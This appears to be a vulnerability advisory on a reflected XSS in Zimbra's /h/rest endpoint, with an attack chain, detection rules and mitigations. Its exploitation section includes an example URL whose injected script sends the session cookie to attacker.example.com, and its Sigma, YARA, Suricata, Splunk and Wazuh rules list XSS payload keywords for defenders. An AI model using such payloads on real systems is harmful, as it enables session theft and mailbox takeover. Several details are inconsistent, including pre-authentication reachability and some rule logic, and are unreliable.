CVE-2026-33368

Executive Summary

CVE-2026-33368 is a reflected cross-site scripting (XSS) vulnerability affecting Zimbra Collaboration Suite (ZCS) versions 10.0 and 10.1. The flaw resides in the Classic Webmail REST interface (/h/rest), where insufficient input sanitization allows an unauthenticated attacker to craft a malicious URL containing injected JavaScript. When a victim user clicks the link, the script executes in the context of the Zimbra webmail application, potentially enabling session hijacking, email exfiltration, or unauthorized actions on behalf of the victim. Given Zimbra's widespread deployment in enterprise and government environments, this vulnerability warrants immediate attention despite the lack of a confirmed patch.

Technical Analysis

The vulnerability is a reflected XSS in the /h/rest endpoint of the Zimbra Classic Webmail interface (ZCS 10.0 and 10.1). The /h/rest endpoint is part of Zimbra's HTTP REST API, which provides programmatic access to mailboxes, calendars, and contacts. It is commonly used for integrations, mobile client synchronization, and administrator scripting.

Mechanism: The application does not properly sanitize user-supplied parameters before reflecting them into the HTML response. An attacker crafts a URL containing a malicious JavaScript payload in a query parameter (e.g., ?cmd=... or ?username=). When the victim loads this URL while authenticated to their Zimbra mailbox, the server reflects the payload into the HTML without adequate encoding, causing the browser to interpret it as executable script.

Because the script executes in the origin of https://mail.victim-domain.com, it inherits the victim's session cookie context. This allows the payload to make authenticated requests to the Zimbra REST API (/service/soap, /h/rest/...) on behalf of the user.

Attack Surface: The attack surface is the Classic Webmail interface, which is the default UI for many Zimbra installations. The /h/rest endpoint is unauthenticated at the HTTP layer (authentication is handled via session cookies once the user logs in), making the vulnerability reachable pre-authentication. The threat is triggered through phishing emails, malicious links in web forums, or compromised external sites.

Code-Level Context: The core issue is the lack of proper output encoding in the REST handler. Instead of applying context-aware encoding (e.g., HTML entity encoding for HTML contexts, JavaScript escaping for script contexts), the server concatenates user input directly into the response template. This is a classic CWE‑79 (Improper Neutralization of Input During Web Page Generation) pattern.

Exploitation Scenarios

Attack Chain Step-by-Step:

1. Reconnaissance: The attacker identifies a Zimbra instance. Shodan dorks such as http.title:"Zimbra" or http.component:"Zimbra" are used to find exposed webmail portals. The attacker verifies the version by fetching /h/rest and checking response headers or the login page.

2. Weaponization: The attacker constructs a malicious URL. Example payload:

   https://victim.example.com/h/rest?cmd=redirect&url=javascript:alert(document.cookie)
   

   A more sophisticated payload embeds a cookie-stealing script:

   https://victim.example.com/h/rest?u=<script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>
   

   Because the injected script runs in the Zimbra origin, document.cookie includes the session cookie (assuming HttpOnly flag is not enforced on the session token, which is a common misconfiguration).

3. Delivery: The attacker sends the crafted link via email (using a separate disposable account), a phishing message, or by posting it in a comment section on a public site frequented by employees of the target organization.

4. Trigger: The victim clicks the link while logged into Zimbra. The browser requests /h/rest with the malicious parameter. The server reflects the payload into the HTML response, and the browser executes the JavaScript.

5. Execution & Exfiltration: The payload executes fetch() calls to an attacker-controlled server, exfiltrating the session cookie or performing actions like reading emails, forwarding sensitive messages, or deleting mailbox content. The attacker can then use the stolen session cookie to impersonate the victim.

Post-Exploitation Impact: With a valid session, the attacker can read all emails, access contacts, and manipulate mail folders. In a corporate environment, this can lead to credential harvesting (e.g., password-reset emails), data exfiltration, and lateral movement if the mailbox contains VPN credentials or access tokens.

Impact Assessment

• Business Impact: Zimbra is widely used in enterprises, educational institutions, and government agencies. Exploitation of this XSS can lead to account takeover, data confidentiality breaches, and reputational damage.
• Affected Systems: Zimbra Collaboration Suite 10.0 and 10.1 with Classic Webmail enabled (default).
• Blast Radius: The document.cookie access is limited to the Zimbra domain, but the REST API provides extensive mailbox control. An attacker can read and exfiltrate the entire mailbox content. The compromised account can then be used for further phishing campaigns against internal contacts (spear-phishing), amplifying the attack.
• CVSS Subscores (Estimated): While the official CVSS score is N/A, a reasonable estimate for this vulnerability class is CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N → High severity (8.1). The network vector (AV:N), low complexity (AC:L), no privileges required (PR:N), and user interaction (UI:R) component reflect the phishing requirement. Confidentiality impact is high (C:H) due to mailbox data exposure.

Detection Guidance

Sigma Rule

title: Zimbra /h/rest Reflected XSS Attempt
id: 5f50b9b2-7a8c-4fbc-9e3d-2a1e0d6f4b21
status: experimental
description: Detects attempts to exploit CVE-2026-33368 in Zimbra /h/rest
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2026-33368
logsource:
  category: webserver
  product: zimbra
  service: http
detection:
  selection:
    cs-uri-path:
      - '/h/rest'
    cs-uri-query|contains:
      - '<script>'
      - 'javascript:'
      - 'onerror='
      - 'onload='
      - 'fetch('
      - 'document.cookie'
  condition: selection
falsepositives:
  - Normal use of REST API with URL-encoded parameters
level: high

YARA Rule

rule Zimbra_CVE_2026_33368_Reflected_XSS {
    meta:
        author = "Valterits Threat Intelligence"
        description = "Detects adversarial payload strings in Zimbra /h/rest requests"
        cve = "CVE-2026-33368"
        date = "2026-02-15"
    strings:
        $a = "/h/rest" ascii wide
        $b = "<script>" ascii wide
        $c = "javascript:" ascii wide
        $d = "onerror=" ascii wide
        $e = "onload=" ascii wide
        $f = "document.cookie" ascii wide
        $g = "fetch(" ascii wide
    condition:
        $a and (any of ($b, $c, $d, $e, $f, $g))
}

Suricata IDS Rule

alert http any any -> any any (msg:"ET EXPLOIT Zimbra /h/rest Reflected XSS (CVE-2026-33368)"; flow:to_server,established; content:"/h/rest"; http.uri; content:"<script>"; http.uri; content:"javascript:"; http.uri; sid:20260213; rev:1; metadata:attack_target Web_Server, created_at 2026_02_15, cve CVE-2026-33368, deployment Internal, signature_severity Major, tag Exploit;)

Elastic Detection

sequence by source.ip, destination.ip with maxspan=5s
  [network where http.request.method == "GET" and
   url.path == "/h/rest" and
   url.query contains ("<script>", "javascript:", "onerror=", "onload=", "document.cookie")]

Splunk SPL Query

index=web sourcetype=zimbra:web
| where like(uri_path, "%/h/rest%")
| search uri_query IN ("*<script>*", "*javascript:*", "*onerror=*", "*onload=*", "*document.cookie*", "*fetch(*")
| eval severity="high"
| table _time, src_ip, uri_query, dest_host

Wazuh OSSEC Rule

<group name="zimbra,">
  <rule id="100333" level="12">
    <decoded_as>web-log</decoded_as>
    <match>/h/rest</match>
    <regex offset="after_URI">(\&|\?).*(script|javascript:|onerror|onload|document\.cookie|fetch\()</regex>
    <description>Zimbra /h/rest reflected XSS attempt (CVE-2026-33368)</description>
    <group>attack.payload_execution,xss,</group>
    <mitre>
      <id>T1059.007</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED — single source claims patch, not independently confirmed). A patch has been claimed via OSV, but it has not been independently verified by the vendor or a second source at the time of writing.

1. Immediate Mitigations:

   • Web Application Firewall (WAF): Deploy or update a WAF rule to block requests to /h/rest containing common XSS payload signatures (<script>, javascript:, onerror=, document.cookie). This provides interim protection while waiting for a vendor patch.
   • Disable /h/rest if not required: If the REST interface is not needed for business operations (e.g., no integrations rely on it), disable the endpoint via the Zimbra proxy configuration.
   • Session Cookie Hardening: Ensure Zimbra session cookies are set with both HttpOnly and Secure flags. This prevents JavaScript access to cookies (document.cookie) and mitigates session theft via XSS. Configuration is typically in localconfig.xml or the mailbox server admin console.

2. Patch/Upgrade Steps:

   • Immediately monitor Zimbra's official advisory at https://security.zimbra.com for a confirmed patch.
   • If an OSV-patched version is released, upgrade Zimbra Collaboration Suite to the patched build. Confirm the patch version against the affected ranges (10.0.x and 10.1.x).
   • Apply the patch in a staging environment first, validate all integrations against the /h/rest endpoint, then deploy to production.

3. Long-Term Hardening:

   • Input and Output Encoding: Ensure the Zimbra web application enforces proper output encoding (e.g., HTML entity encoding) on all user-supplied inputs reflected in responses. Review code changes for the /h/rest handler.
   • Content Security Policy (CSP): Configure a strict CSP header (Content-Security-Policy: script-src 'self') on the Zimbra domain. This prevents execution of injected inline scripts.
   • Security Headers: Ensure X-Content-Type-Options: nosniff and X-Frame-Options: DENY are set to further harden the webmail interface.
   • Web Application Security Testing: Integrate automated DAST/SAST scans in the CI/CD pipeline for Zimbra to catch similar issues in future releases.
   • User Training: Educate users on recognizing phishing links, especially in a webmail context.

References

1. NVD Entry: CVE-2026-33368
2. Zimbra Security Advisory Hub: https://security.zimbra.com
3. OSV Advisory (Patch Claim): https://osv.dev/vulnerability/CVE-2026-33368
4. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog — CVE not currently listed (KEV: NO).
5. Exploit-DB / Research Trail: Search for "Zimbra RSS /h/rest XSS" on public vulnerability research blogs and exploit databases.

Exploit-in-the-Wild Evidence: No public exploit code or in-the-wild campaigns have been observed for this CVE at the time of writing. However, given Zimbra's history of active targeting (e.g., CVE-2023-37580, CVE-2022-27925, CVE-2022-37042), APT groups frequently weaponize newly disclosed Zimbra vulnerabilities within days. The EPSS score of 0.00223 (13th percentile) indicates low current exploitation probability, but organizations should still treat this as high-priority due to the potential blast radius and the high likelihood of future weaponization.